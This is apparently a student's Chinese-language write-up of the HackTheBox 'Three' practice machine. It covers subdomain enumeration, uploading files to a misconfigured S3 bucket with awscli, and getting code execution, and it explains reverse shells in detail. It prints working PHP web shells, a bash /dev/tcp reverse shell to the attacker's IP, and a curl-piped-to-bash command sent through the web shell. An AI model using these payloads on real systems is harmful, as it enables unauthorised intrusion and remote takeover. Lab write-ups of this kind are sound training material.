HTB Three 靶机学习与复现报告

学习报告

新知识与重要知识点总结

1. **云存储服务（AWS S3）**：
   - S3（Simple Storage Service）是AWS提供的对象存储服务，用于存储和检索任意数量的数据。
   - S3 存储桶（Bucket）是存储对象的容器，每个对象都有一个唯一的键（Key）用于标识。
   - 错误配置的 S3 存储桶可能导致未授权访问、文件上传甚至代码执行。
2. **子域名枚举（Subdomain Enumeration）**：
   - 使用工具如 `gobuster`、`wfuzz` 等通过字典爆破发现子域名。
   - 虚拟主机（vHost）模式下，可通过修改 Host 头探测子域名。
   - 子域名可能指向不同的服务或存储桶，是信息收集的重要环节。
3. **AWS CLI 与 S3 交互**：
   - 使用 `awscli` 工具可以与 S3 存储桶进行交互，包括上传、下载、列出文件等。
   - 通过 `--endpoint` 参数可指定非标准 AWS 端点的 S3 服务。
   - 若服务端未正确配置身份验证，可能允许未授权操作。
4. **PHP 文件上传与代码执行**：
   - 通过上传恶意 PHP 文件（如 Web Shell）可实现远程代码执行（RCE）。
   - 使用 `system()` 函数执行系统命令，并通过 GET 参数传递命令。
5. **反向 Shell（Reverse Shell）**：
   - 通过让目标机器主动连接攻击者监听端口，建立反向 Shell。
   - 常用方法：使用 `bash`、`nc`、`python` 等工具构造反向连接命令。
6. **本地 Web 服务器与文件传输**：
   - 使用 `python3 -m http.server` 快速搭建本地 HTTP 服务器，用于传输文件。
   - 使用 `curl` 或 `wget` 从目标机器下载并执行恶意脚本。

复现报告

环境准备

- 目标 IP：`10.129.227.248`
- 本地 IP（tun0）：`10.10.14.32`
- 工具：`nmap`、`gobuster`、`awscli`、`nc`、`python3`、`curl`

步骤一：信息收集

1. Nmap 扫描

```
sudo nmap -sV 10.129.227.248
```

结果：

- 22/tcp：OpenSSH 7.6p1
- 80/tcp：Apache httpd 2.4.29

2. 访问 Web 服务

访问 `http://10.129.227.248`，发现静态页面，查看源码发现：

- 表单提交至 `/action_page.php`，确认使用 PHP。
- 域名 `thetoppers.htb` 出现在页面中。

3. 修改 hosts 文件

```
echo "10.129.227.248 thetoppers.htb" | sudo tee -a /etc/hosts
```

4. 子域名枚举

使用 `gobuster` 进行 vHost 爆破：

```
gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-
top1million-5000.txt -u http://thetoppers.htb --append-domain
```

发现子域名：

- `s3.thetoppers.htb`

添加至 hosts：

```
echo "10.129.227.248 s3.thetoppers.htb" | sudo tee -a /etc/hosts
```

访问 `http://s3.thetoppers.htb`，返回 JSON：

```
{"status": "running"}
```

步骤二：利用错误配置的 S3 存储桶

1. 安装并配置 awscli

```
sudo apt install awscli
aws configure
```

- 任意填写 Access Key、Secret Key、Region（如 `test`、`test`、`us-east-1`）

2. 列出存储桶内容

```
aws --endpoint=http://s3.thetoppers.htb s3 ls
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
```

发现文件：

- `index.php`
- `.htaccess`
- `images/` 目录

3. 上传 Web Shell

创建 `shell.php`：

```
echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

上传至存储桶：

```
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
```

访问 `http://thetoppers.htb/shell.php?cmd=id`，确认 RCE：

过程发现此shell不能正确返回信息,尝试其他shell:

`<!--<?php exec($_GET["cmd"], $output); var_dump($output); ?>-->` shell2.php

`<!--<?php passthru($_GET["cmd"]); ?>-->`shell3.php

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

步骤三：获取反向 Shell

1. 准备反向 Shell 脚本

创建 `shell.sh`：

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.32/1337 0>&1
```

2. 启动本地 Web 服务器

```
python3 -m http.server 8000
```

3. 启动 Netcat 监听

```
nc -nvlp 1337
```

4. 触发反向 Shell

访问以下 URL（URL编码后）：

```
http://thetoppers.htb/shell.php?cmd=curl%2010.10.14.32:8000/shell.sh|bash
```

成功获取 Shell：

```
www-data@three:/var/www/html$
```

步骤四：获取 Flag

```
cat /var/www/flag.txt
```

```
┌──(venv3)─(root㉿kali)-[/home/kali/bhp]
└─# nc -nvlp 1337
listening on [any] 1337 ...
connect to [10.10.16.45] from (UNKNOWN) [10.129.220.243] 40852
bash: cannot set terminal process group (1549): Inappropriate ioctl for device
bash: no job control in this shell
www-data@three:/var/www/html$ cat /var/www/flag.txt
cat /var/www/flag.txt
a980d99281a28d638ac68b9bf9453c2b
www-data@three:/var/www/html$ ^C
```

复现过程中的关键决策点

步骤	决策依据	下一步行动
发现子域名 `s3.thetoppers.htb`	S3 存储桶常用于云存储，可能存在配置错误	尝试使用 awscli 交互
成功列出存储桶文件	存储桶可能包含 Web 根目录文件	尝试上传 Web Shell
确认 PHP 可执行	通过 `system()` 函数可执行系统命令	上传 PHP Shell 并测试 RCE
获得 RCE	可执行任意命令，但需持久化访问	使用反向 Shell 建立稳定连接
获取反向 Shell	成功获得 www-data 权限	寻找 flag 文件（通常在 /var/www/ 或用户目录）

总结

通过本次复现，学习了：

- S3 存储桶的错误配置利用
- 子域名枚举与 vHost 爆破
- 使用 awscli 与 S3 交互
- PHP Web Shell 上传与 RCE
- 反向 Shell 的建立与利用

出现的问题:

写入反向shell时候 内容要正确,理解各种shell的内容,把握细节

工具的使用和下载

重要知识详解:

什么是反向 Shell?

反向 Shell 是一种网络攻击技术，其核心思想是：**让被控制的目标机器主动发起一个网络连接，连接到攻击者控制的机器上。**这与传统的正向 Shell（攻击者连接到目标机器的某个端口）相反。

一个简单的比喻：

- **正向 Shell**：就像你（攻击者）打电话给目标公司（目标机器）的客服（开放的服务端口）。
- **反向 Shell**：就像你欺骗目标公司的内部员工（目标机器上的命令执行漏洞），让他主动给你（攻击者）的手机（监听端口）打电话。

为什么使用反向 Shell?

在渗透测试中，反向 Shell 通常比正向 Shell 更有效，原因如下：

1. **绕过防火墙/出站规则**：企业防火墙通常配置为严格限制**入站**连接（从外部进入内部），但对**出站**连接（从内部访问外部）的限制相对宽松。目标机器主动向外连接 1337 端口（或其他常见端口如 443、53）的行为，比一个外部连接尝试访问目标内部的高端口更容易被放行。
2. **绕过 NAT**：如果目标机器位于网络地址转换（NAT）或负载均衡器之后，你可能无法直接从外部访问它的内部 IP 地址。让目标机器主动连接出来，就完全绕过了这个问题。
3. **便利性**：攻击者通常使用动态 IP（如 VPN），IP 地址不固定。让目标连接攻击者的 IP，攻击者无需关心目标网络结构的变化。

文档中反向 Shell 的详细分解

现在，我们一步步分析文档中实现反向 Shell 的过程。

第 1 步：准备反向 Shell 负载（Payload）

文档中创建了一个名为 `shell.sh` 的 Bash 脚本，其内容为：

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.32/1337 0>&1
```

逐句解释：

- `#!/bin/bash`：指定使用 Bash shell 来执行这个脚本。
- `bash -i`：启动一个**交互式**的 Bash shell。`-i` 参数是关键，它使得 shell 是交互式的，可以接收输入并显示输出，就像我们正常使用的终端一样。
- `>& /dev/tcp/10.10.14.32/1337`：这是 Bash 的一个特性（/dev/tcp/ 伪设备）。
  - `>`：重定向输出。
  - `&`：表示重定向的不仅是标准输出（stdout, 文件描述符 1），还包括标准错误（stderr, 文件描述符 2）。
  - `/dev/tcp/10.10.14.32/1337`：Bash 会尝试与 IP 地址 `10.10.14.32`（攻击者机器的 IP）的 `1337` 端口建立一个 TCP 连接。这个文件路径并不真实存在，但它会触发 Bash 的网络连接功能。
- `0>&1`：这一部分将标准输入（stdin, 文件描述符 0）重定向到标准输出（stdout）。因为标准输出已经指向了网络连接，所以标准输入现在也从同一个网络连接读取。

整体效果： 这个命令会打开一个连接到攻击者 IP 的 TCP socket，然后将这个交互式 Bash 进程的输入、输出和错误流全部绑定到这个 socket 上。这样，攻击者在 socket 另一端发送的命令就会被目标的 Bash 执行，而执行的结果则会通过网络连接传回给攻击者。

第 2 步：攻击者设置监听器（Listener）

在攻击者机器上运行：

```
nc -nvlp 1337
```

- `nc`：Netcat 工具，被称为“网络瑞士军刀”。
- `-n`：禁用域名解析，直接使用 IP 地址。
- `-v`：详细模式，输出更多连接信息。
- `-l`：监听模式，等待传入连接。
- `-p 1337`：指定监听的端口号。

这个命令让 Netcat 在攻击者的 `1337` 端口上安静地等待。一旦目标执行了反向 Shell 命令并发起连接，Netcat 就会接收到这个连接，并将其转换为一个功能完整的命令行通道。

第 3 步：托管并传递 Payload

文档中使用了本地 Python HTTP 服务器来托管 `shell.sh` 文件：

```
python3 -m http.server 8000
```

这样，目标机器可以通过 URL `http://10.10.14.32:8000/shell.sh` 访问到这个文件。

第 4 步：在目标上触发执行

这是最关键的一步。利用之前上传的 Web Shell (`shell.php`)，通过一个 URL 请求，让目标机器执行以下命令：

```
curl 10.10.14.32:8000/shell.sh | bash
```

- `curl ...`：从攻击者的服务器下载 `shell.sh` 文件的内容。
- `|`：管道符，将 `curl` 命令的输出（即 `shell.sh` 的脚本内容）传递给下一个命令。
- `bash`：执行管道传过来的脚本内容。

为什么不直接执行反向 Shell 命令?
有时直接写入长命令在 URL 中很麻烦且容易出错（需要 URL 编码）。先下载脚本再执行是一种更清晰、更可靠的方法。也可以直接使用一行命令，但脚本方式更灵活。

第 5 步：建立连接

当目标机器执行上述命令后，会发生以下流程：

1. 目标机的 Bash 处理 `/dev/tcp/10.10.14.32/1337`。
2. 目标机向 `10.10.14.32:1337` 发起 TCP 连接请求。
3. 正在监听的 Netcat 接受这个连接。
4. **连接建立！** 此时，在攻击者的 Netcat 终端上，会出现 `Ncat: Connection from 10.129.227.248.` 的提示，并且会获得一个 `www-data@three:/var/www/html$` 的命令行提示符。攻击者就可以在这个终端里输入任何系统命令，目标机器都会执行并返回结果。